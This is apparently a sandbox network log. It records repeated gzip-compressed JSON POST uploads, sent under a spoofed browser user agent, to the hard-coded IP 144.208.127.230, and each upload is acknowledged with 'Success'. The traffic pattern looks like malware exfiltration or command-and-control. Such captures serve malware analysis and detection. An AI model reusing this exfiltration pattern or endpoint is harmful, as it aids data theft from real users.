May 5, 2024 00:24:50.450248957 CEST	1289	IN	Data Raw: 32 44 46 78 6f 55 30 45 50 64 35 6b 4c 5a 52 59 51 55 49 72 65 76 4d 58 76 57 30 77 76 54 39 38 67 2f 39 51 46 62 47 6d 77 49 6c 4f 55 71 4b 48 2f 44 45 6f 4a 63 36 61 6d 4b 50 76 38 53 35 62 6c 48 49 75 2f 4c 74 65 72 55 4b 2b 50 57 71 37 64 50 Data Ascii: 2DFxoU0EPd5kLZRYQUIrevMXvW0wvT98g/9QFbGmwIlOUqKH/DEoJc6amKPv8S5blHIu/LterUK+PWq7dPQpGXGD5ZOih/Oi6qzzVxnOi6i/06tNmmkjALhjtQB9t/95owIzfKvEedp/aQFWBd24OnhgBDcfVEnPM6RIIp9tebTj8pZTc4YlihFFbui9mE9d9lrX9cNg+IHibtptNZDIWCaIi3mNdUBOJgMRFVnD9LT89WvI1/O
May 5, 2024 00:24:50.450306892 CEST	1289	IN	Data Raw: 74 52 64 73 41 61 46 38 66 57 68 39 70 4a 39 77 4b 46 71 31 39 7a 33 6a 74 2b 6a 7a 42 31 46 4d 39 63 32 57 64 57 30 67 45 56 52 75 4b 4f 33 68 4a 51 71 77 64 6e 69 76 43 36 50 50 4e 65 31 2f 44 5a 59 73 63 54 6c 62 4d 38 44 68 76 51 58 5a 2b 5a Data Ascii: tRdsAaF8fWh9pJ9wKFq19z3jt+jzB1FM9c2WdW0gEVRuKO3hJQqwdnivC6PPNe1/DZYscTlbM8DhvQXZ+ZBQNKYmvASFIzYPB8iu+r+i69xgEXhMLeu9xrJvgBVneYDBWm/y5aNZ/ZS03kmBNOPTYtONP4WJso7liWc/DdEABCTpNdFcVlsBQA90wobRCQMH9YiZUGAjcV6Q29fbL817+s+NbGFRz8UNH7ypGvXBmIIpSXkPBXv
May 5, 2024 00:24:50.450361967 CEST	1289	IN	Data Raw: 71 58 34 52 43 56 50 57 67 38 71 38 48 51 2b 32 61 6c 31 43 72 72 6f 4b 67 4b 5a 41 32 48 36 7a 58 6f 36 7a 34 64 4d 38 4e 68 55 4c 2f 74 42 2f 76 6f 2b 4e 51 63 4d 50 71 78 64 63 39 31 39 49 44 2b 41 42 53 53 77 62 6e 50 42 58 6d 4e 34 75 56 31 Data Ascii: qX4RCVPWg8q8HQ+2al1CrroKgKZA2H6zXo6z4dM8NhUL/tB/vo+NQcMPqxdc919ID+ABSSwbnPBXmN4uV1qxppjK9sM2xlaSevYsUM6dFm8o9fRstZvkzbumT4xCaXinZDXqHjnDDOOue242WxapBtbHSobtSIl/+sF92XPefrP5XfcbJ+qhHbCUmNtgNaRe8NXLGwvUdd+rilgwyij3FQzKVsswtsbDyPNFxiMA6JNtN+zvj5r
May 5, 2024 00:24:50.450412035 CEST	876	IN	Data Raw: 52 59 32 33 6f 30 59 70 51 57 32 39 6e 6e 37 30 50 48 4e 45 65 69 4d 34 56 50 6c 7a 77 32 39 77 51 31 70 6b 4e 7a 52 31 51 33 4c 36 54 2b 63 62 64 75 52 48 69 41 2f 76 66 6d 51 68 53 31 64 30 70 50 71 30 6d 75 37 73 6d 48 54 48 32 75 4b 4d 56 49 Data Ascii: RY23o0YpQW29nn70PHNEeiM4VPlzw29wQ1pkNzR1Q3L6T+cbduRHiA/vfmQhS1d0pPq0mu7smHTH2uKMVIMKls8A3sGqx4UvHRvk+qJ1cewl+gwjZdmpsW3mL6AGZBsxEUh+jrXmQBz2JUUWffl2zNmFoGOXNGdtwc9NG4qcXKYqD3radrzhKC2xSTeqac6zWjVeHesb8YktCCkYHLKQyLXsZUPuMIFxUxu7hgqYGh/TkKczaMB
May 5, 2024 00:24:50.615658998 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 996 Host: 144.208.127.230
May 5, 2024 00:24:50.615658998 CEST	996	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 4d 54 dd 8e e3 34 14 7e 97 b9 46 c8 16 14 a9 73 47 5a 3b ad 9b ba e3 63 9f e3 8e 55 09 65 c9 6a 83 6c d8 68 36 88 22 c4 bb f3 e5 8e bb c4 51 ce f9 7e fd cf cb 1f e3 ef 9f 5f 5e 5f a8 fb 25 6b f5 d3 8f bf a8 1f 5e be Data Ascii: MT4~FsGZ;cUejlh6"Q~_^_%k^{Y[vcx?[].Gbuw??}ANoMJQKC]GJzF_,{&vQ\eLm.V).&*QMB0AQ]J76H+>vB
May 5, 2024 00:24:50.746968031 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:50.784807920 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1008 Host: 144.208.127.230
May 5, 2024 00:24:50.784807920 CEST	1008	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 1d 94 51 8f 22 37 10 84 ff cb 3e 47 91 47 09 91 d8 b7 33 d8 03 06 86 75 db dd 06 0b e9 34 a7 39 dd 44 ee e4 46 bb 44 22 8a f2 df af b8 27 d0 d8 6e 77 57 7d e5 ff 5e fe 1e ff fa fa f2 fa 42 f6 73 e9 cc 1f bf 7f 36 bf Data Ascii: Q"7>GG3u49DFD"'nwW}^Bs6r/^_7\|}>ovn}Ll//x7G>B_ON[:_DgCd=N9rLxgb6wnlt#naIfYmON-Ds
May 5, 2024 00:24:50.913850069 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:50.960611105 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1007 Host: 144.208.127.230
May 5, 2024 00:24:50.960611105 CEST	1007	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 25 94 51 af e3 34 10 85 ff cb 7d 46 c8 16 04 e9 ee 1b 69 ed a4 6e eb 5e 8f 3d e3 d4 aa b4 ca 2a cb 06 d9 b0 d1 dd 22 8a 10 ff 9d 53 78 a8 d4 26 f5 78 e6 cc 77 ce df 2f bf cf bf 7d 7e f9 f0 42 fd c7 ac d5 4f 3f 7e 54 Data Ascii: %Q4}Fin^=*"Sx&xw/}~BO?~T?\|rO\|pnznCOlCtzuejeI\jMfb9Qs)j+b!Y:&+!69l9!3Je3K\RC%r
May 5, 2024 00:24:51.089246988 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:51.138124943 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 992 Host: 144.208.127.230
May 5, 2024 00:24:51.273591042 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:51.344860077 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1004 Host: 144.208.127.230
May 5, 2024 00:24:51.474955082 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:51.581295013 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1002 Host: 144.208.127.230
May 5, 2024 00:24:51.720448017 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:51.754550934 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1005 Host: 144.208.127.230
May 5, 2024 00:24:51.886817932 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:51.993621111 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1000 Host: 144.208.127.230
May 5, 2024 00:24:52.130491972 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:52.209886074 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 999 Host: 144.208.127.230
May 5, 2024 00:24:52.350059032 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:52.440471888 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 998 Host: 144.208.127.230
May 5, 2024 00:24:52.572115898 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:52.687793016 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 992 Host: 144.208.127.230
May 5, 2024 00:24:52.820131063 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:52.944320917 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 995 Host: 144.208.127.230
May 5, 2024 00:24:53.075536013 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:53.186395884 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 999 Host: 144.208.127.230
May 5, 2024 00:24:53.317679882 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:53.392790079 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1010 Host: 144.208.127.230
May 5, 2024 00:24:53.543199062 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:53.618834972 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1010 Host: 144.208.127.230
May 5, 2024 00:24:53.751441956 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:53.826003075 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 994 Host: 144.208.127.230
May 5, 2024 00:24:53.958475113 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:54.029484987 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1006 Host: 144.208.127.230
May 5, 2024 00:24:54.167054892 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:54.272589922 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1005 Host: 144.208.127.230
May 5, 2024 00:24:54.422990084 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:54.486279011 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1008 Host: 144.208.127.230
May 5, 2024 00:24:54.623517990 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:54.725047112 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1002 Host: 144.208.127.230
May 5, 2024 00:24:54.859028101 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:54.956692934 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1002 Host: 144.208.127.230
May 5, 2024 00:24:55.100518942 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:55.102848053 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1001 Host: 144.208.127.230
May 5, 2024 00:24:55.245388985 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:55.247212887 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 996 Host: 144.208.127.230
May 5, 2024 00:24:55.399734974 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:55.401648045 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 998 Host: 144.208.127.230
May 5, 2024 00:24:55.542815924 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:55.544415951 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 185 Host: 144.208.127.230
May 5, 2024 00:24:55.685813904 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:55.687386036 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 993 Host: 144.208.127.230
May 5, 2024 00:24:55.816900015 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:55.818664074 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1001 Host: 144.208.127.230
May 5, 2024 00:24:55.953720093 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:55.957369089 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1000 Host: 144.208.127.230
May 5, 2024 00:24:56.088408947 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:56.090285063 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1000 Host: 144.208.127.230
May 5, 2024 00:24:56.228220940 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:56.229861975 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 995 Host: 144.208.127.230
May 5, 2024 00:24:56.372591019 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:56.374567032 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 997 Host: 144.208.127.230
May 5, 2024 00:24:56.522296906 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:56.524049044 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1003 Host: 144.208.127.230
May 5, 2024 00:24:56.664613008 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:56.666251898 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1013 Host: 144.208.127.230
May 5, 2024 00:24:56.794918060 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
May 5, 2024 00:24:56.797039986 CEST	245	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 1014 Host: 144.208.127.230
May 5, 2024 00:24:56.939390898 CEST	280	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 7 Connection: keep-alive Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 53 75 63 63 65 73 73 Data Ascii: Success
